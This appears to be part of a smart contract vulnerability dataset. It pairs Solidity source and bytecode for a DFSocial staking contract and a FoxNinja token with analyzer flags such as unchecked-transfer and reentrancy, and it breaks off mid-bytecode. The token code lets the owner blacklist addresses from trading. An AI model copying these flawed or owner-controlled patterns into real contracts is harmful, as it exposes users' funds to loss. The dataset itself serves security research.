constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract DFSocial_Farming3 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event RewardsDisbursed(uint amount);
// Uniswap ETH/DFSocial LP token contract address
address public constant LPtokenAddress = 0xbeFeAa0335D842B31053b091d5e2BA5d6A696DbE;
//DFSocial token address
address public constant tokenAddress = 0x54ee01beB60E745329E6a8711Ad2D6cb213e38d7;
uint public constant withdrawFeePercentX100 = 50;
uint public constant disburseAmount = 60e18;
uint public constant disburseDuration = 30 days;
uint public disbursePercentX100 = 10000;
uint public lastDisburseTime;
constructor() {
lastDisburseTime = block.timestamp;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalTokensDisbursed = 0;
uint public contractBalance = 0;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e18;
function addContractBalance(uint amount) public onlyOwner {
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!");
contractBalance = contractBalance.add(amount);
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = block.timestamp;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = block.timestamp;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function emergencyWithdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
lastClaimedTime[msg.sender] = block.timestamp;
lastDivPoints[msg.sender] = totalDivPoints;
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs(uint amount) private {
if (totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
emit RewardsDisbursed(amount);
}
function disburseTokens() public onlyOwner {
uint amount = getPendingDisbursement();
// uint contractBalance = Token(tokenAddress).balanceOf(address(this));
if (contractBalance < amount) {
amount = contractBalance;
}
if (amount == 0) return;
distributeDivs(amount);
contractBalance = contractBalance.sub(amount);
lastDisburseTime = block.timestamp;
}
function getPendingDisbursement() public view returns (uint) {
uint timeDiff = block.timestamp.sub(lastDisburseTime);
uint pendingDisburse = disburseAmount
.mul(disbursePercentX100)
.mul(timeDiff)
.div(disburseDuration)
.div(10000);
return pendingDisburse;
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
/* function to allow owner to claim *other* ERC20 tokens sent to this contract.
Owner cannot recover unclaimed tokens (they are burnt)
*/
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
// require(_tokenAddr != tokenAddress && _tokenAddr != LPtokenAddress, "Cannot send out reward tokens or LP tokens!");
require(_tokenAddr != LPtokenAddress, "Admin cannot transfer out LP tokens from this vault!");
require(_tokenAddr != tokenAddress , "Admin cannot Transfer out Reward Tokens from this vault!");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80638da5cb5b11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b14610535578063f3f91fa01461055b578063f9da7db814610581578063fe547f7214610589576101da565b8063c326bf4f146104f7578063d1b965f31461051d578063d578ceab14610525578063e027c61f1461052d576101da565b806398896d10116100de57806398896d10146104a45780639d76ea58146104ca578063ac51de8d146104d2578063b6b55f25146104da576101da565b80638da5cb5b146104705780638e20a1d9146104945780638f5705be1461049c576101da565b806346c648731161017c57806365ca78be1161014b57806365ca78be146104225780636a395ccb1461042a5780637e1c0c09146104605780638b7afe2e14610468576101da565b806346c64873146103b15780634e71d92d146103d75780635312ea8e146103df5780636270cd18146103fc576101da565b80631f04461c116101b85780631f04461c146103495780632e1a7d4d1461036f578063308feec31461038c578063452b4cfc14610394576101da565b806305447d25146101df5780630813cc8f146103255780630c9a0c781461032f575b600080fd5b610202600480360360408110156101f557600080fd5b5080359060200135610591565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561024e578181015183820152602001610236565b50505050905001858103845288818151815260200191508051906020019060200280838360005b8381101561028d578181015183820152602001610275565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102cc5781810151838201526020016102b4565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561030b5781810151838201526020016102f3565b505050509050019850505050505050505060405180910390f35b61032d6107fd565b005b61033761085b565b60408051918252519081900360200190f35b6103376004803603602081101561035f57600080fd5b50356001600160a01b0316610861565b61032d6004803603602081101561038557600080fd5b5035610873565b610337610b3c565b61032d600480360360208110156103aa57600080fd5b5035610b4d565b610337600480360360208110156103c757600080fd5b50356001600160a01b0316610c4a565b61032d610c5c565b61032d600480360360208110156103f557600080fd5b5035610c65565b6103376004803603602081101561041257600080fd5b50356001600160a01b0316610cfa565b610337610d0c565b61032d6004803603606081101561044057600080fd5b506001600160a01b03813581169160208101359091169060400135610d12565b610337610e69565b610337610e6f565b610478610e75565b604080516001600160a01b039092168252519081900360200190f35b610337610e84565b610337610e8a565b610337600480360360208110156104ba57600080fd5b50356001600160a01b0316610e91565b610478610f2d565b610337610f45565b61032d600480360360208110156104f057600080fd5b5035610f9d565b6103376004803603602081101561050d57600080fd5b50356001600160a01b0316611143565b610337611155565b61033761115a565b610337611160565b61032d6004803603602081101561054b57600080fd5b50356001600160a01b0316611166565b6103376004803603602081101561057157600080fd5b50356001600160a01b03166111eb565b6104786111fd565b610337611215565b6060806060808486106105a357600080fd5b60006105af8688611222565b905060008167ffffffffffffffff811180156105ca57600080fd5b506040519080825280602002602001820160405280156105f4578160200160208202803683370190505b50905060008267ffffffffffffffff8111801561061057600080fd5b5060405190808252806020026020018201604052801561063a578160200160208202803683370190505b50905060008367ffffffffffffffff8111801561065657600080fd5b50604051908082528060200260200182016040528015610680578160200160208202803683370190505b50905060008467ffffffffffffffff8111801561069c57600080fd5b506040519080825280602002602001820160405280156106c6578160200160208202803683370190505b5090508a5b8a8110156107eb5760006106e0600483611239565b905060006106ee838f611222565b9050818782815181106106fd57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060076000836001600160a01b03166001600160a01b031681526020019081526020016000205486828151811061074f57fe5b60200260200101818152505060086000836001600160a01b03166001600160a01b031681526020019081526020016000205485828151811061078d57fe5b60200260200101818152505060066000836001600160a01b03166001600160a01b03168152602001908152602001600020548482815181106107cb57fe5b6020908102919091010152506107e4905081600161124c565b90506106cb565b50929a91995097509095509350505050565b6000546001600160a01b0316331461081457600080fd5b600061081e610f45565b905080600c54101561082f5750600c545b8061083a5750610859565b6108438161125b565b600c546108509082611222565b600c5550426002555b565b60015481565b600a6020526000908152604090205481565b336000908152600660205260409020548111156108d7576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b6108e0336112c7565b60006108f96127106108f3846032611477565b90611497565b905060006109078383611222565b600080546040805163a9059cbb60e01b81526001600160a01b039092166004830152602482018690525192935073befeaa0335d842b31053b091d5e2ba5d6a696dbe9263a9059cbb92604480840193602093929083900390910190829087803b15801561097357600080fd5b505af1158015610987573d6000803e3d6000fd5b505050506040513d602081101561099d57600080fd5b50516109f0576040805162461bcd60e51b815260206004820152601760248201527f436f756c64206e6f74207472616e736665722066656521000000000000000000604482015290519081900360640190fd5b6040805163a9059cbb60e01b815233600482015260248101839052905173befeaa0335d842b31053b091d5e2ba5d6a696dbe9163a9059cbb9160448083019260209291908290030181600087803b158015610a4a57600080fd5b505af1158015610a5e573d6000803e3d6000fd5b505050506040513d6020811015610a7457600080fd5b5051610ac7576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b33600090815260066020526040902054610ae19084611222565b33600090815260066020526040902055600e54610afe9084611222565b600e55610b0c6004336114ac565b8015610b25575033600090815260066020526040902054155b15610b3757610b356004336114c1565b505b505050565b6000610b4860046114d6565b905090565b6000546001600160a01b03163314610b6457600080fd5b604080516323b872dd60e01b81523360048201523060248201526044810183905290517354ee01beb60e745329e6a8711ad2d6cb213e38d7916323b872dd9160648083019260209291908290030181600087803b158015610bc457600080fd5b505af1158015610bd8573d6000803e3d6000fd5b505050506040513d6020811015610bee57600080fd5b5051610c37576040805162461bcd60e51b815260206004820152601360248201527243616e6e6f74206164642062616c616e63652160681b604482015290519081900360640190fd5b600c54610c44908261124c565b600c5550565b60076020526000908152604090205481565b610859336112c7565b33600090815260066020526040902054811115610cc9576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b336000908152600860209081526040808320429055600d54600a9092528220556108f96127106108f3846032611477565b60096020526000908152604090205481565b600b5481565b6000546001600160a01b03163314610d2957600080fd5b6001600160a01b03831673befeaa0335d842b31053b091d5e2ba5d6a696dbe1415610d855760405162461bcd60e51b81526004018080602001828103825260348152602001806116e16034913960400191505060405180910390fd5b6001600160a01b0383167354ee01beb60e745329e6a8711ad2d6cb213e38d71415610de15760405162461bcd60e51b81526004018080602001828103825260388152602001806116a96038913960400191505060405180910390fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610e3857600080fd5b505af1158015610e4c573d6000803e3d6000fd5b505050506040513d6020811015610e6257600080fd5b5050505050565b600e5481565b600c5481565b6000546001600160a01b031681565b600d5481565b62278d0081565b6000610e9e6004836114ac565b610eaa57506000610f28565b6001600160a01b038216600090815260066020526040902054610ecf57506000610f28565b6001600160a01b0382166000908152600a6020526040812054600d54610ef491611222565b6001600160a01b038416600090815260066020526040812054600f5492935091610f22906108f38486611477565b93505050505b919050565b7354ee01beb60e745329e6a8711ad2d6cb213e38d781565b600080610f5d6002544261122290919063ffffffff16565b90506000610f966127106108f362278d006108f386610f90600154680340aad21b3b70000061147790919063ffffffff16565b90611477565b9250505090565b60008111610ff2576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b610ffb336112c7565b604080516323b872dd60e01b815233600482015230602482015260448101839052905173befeaa0335d842b31053b091d5e2ba5d6a696dbe916323b872dd9160648083019260209291908290030181600087803b15801561105b57600080fd5b505af115801561106f573d6000803e3d6000fd5b505050506040513d602081101561108557600080fd5b50516110d8576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b336000908152600660205260409020546110f2908261124c565b33600090815260066020526040902055600e5461110f908261124c565b600e5561111d6004336114ac565b6111405761112c6004336114e1565b503360009081526007602052604090204290555b50565b60066020526000908152604090205481565b603281565b60035481565b60025481565b6000546001600160a01b0316331461117d57600080fd5b6001600160a01b03811661119057600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60086020526000908152604090205481565b73befeaa0335d842b31053b091d5e2ba5d6a696dbe81565b680340aad21b3b70000081565b60008282111561122e57fe5b508082035b92915050565b600061124583836114f6565b9392505050565b60008282018381101561124557fe5b600e5461126757611140565b61128e611285600e546108f3600f548561147790919063ffffffff16565b600d549061124c565b600d556040805182815290517f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a8259181900360200190a150565b60006112d282610e91565b9050801561144b576040805163a9059cbb60e01b81526001600160a01b03841660048201526024810183905290517354ee01beb60e745329e6a8711ad2d6cb213e38d79163a9059cbb9160448083019260209291908290030181600087803b15801561133d57600080fd5b505af1158015611351573d6000803e3d6000fd5b505050506040513d602081101561136757600080fd5b50516113ba576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152600960205260409020546113dd908261124c565b6001600160a01b038316600090815260096020526040902055600354611403908261124c565b600355604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600860209081526040808320429055600d54600a90925290912055565b600082820283158061149157508284828161148e57fe5b04145b61124557fe5b6000808284816114a357fe5b04949350505050565b6000611245836001600160a01b03841661155a565b6000611245836001600160a01b038416611572565b600061123382611638565b6000611245836001600160a01b03841661163c565b815460009082106115385760405162461bcd60e51b81526004018080602001828103825260228152602001806116876022913960400191505060405180910390fd5b82600001828154811061154757fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b6000818152600183016020526040812054801561162e57835460001980830191908101906000908790839081106115a557fe5b90600052602060002001549050808760000184815481106115c257fe5b6000918252602080832090910192909255828152600189810190925260409020908401905586548790806115f257fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611233565b6000915050611233565b5490565b6000611648838361155a565b61167e57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155611233565b50600061123356fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647341646d696e2063616e6e6f74205472616e73666572206f75742052657761726420546f6b656e732066726f6d2074686973207661756c742141646d696e2063616e6e6f74207472616e73666572206f7574204c5020746f6b656e732066726f6d2074686973207661756c7421a26469706673582212200167785a0e07a707daaf58931530a3eed7db7ba893af1ededcad24caaf3536c964736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,236 |
0x582adf256dc90167a84f7c4e68021822d03f62b7
|
/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
/**
Telegram: https://t.me/FoxNinjaToken
Website: https://www.foxninja.info
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FoxNinja is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 500000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "FoxNinja";
string private constant _symbol = "FoxNinja";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x3ffdD5e3aC32dd27063878c20626A505Fd6e2Ac7);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000 * 10**9;
_maxWalletSize = 15000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612713565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127dd565b6104b4565b60405161018e9190612838565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612862565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129c5565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a0e565b61060c565b60405161021f9190612838565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a61565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612aaa565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612af1565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b1e565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a61565b6109db565b6040516103199190612862565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612b5a565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612713565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127dd565b610c9a565b6040516103da9190612838565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b1e565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600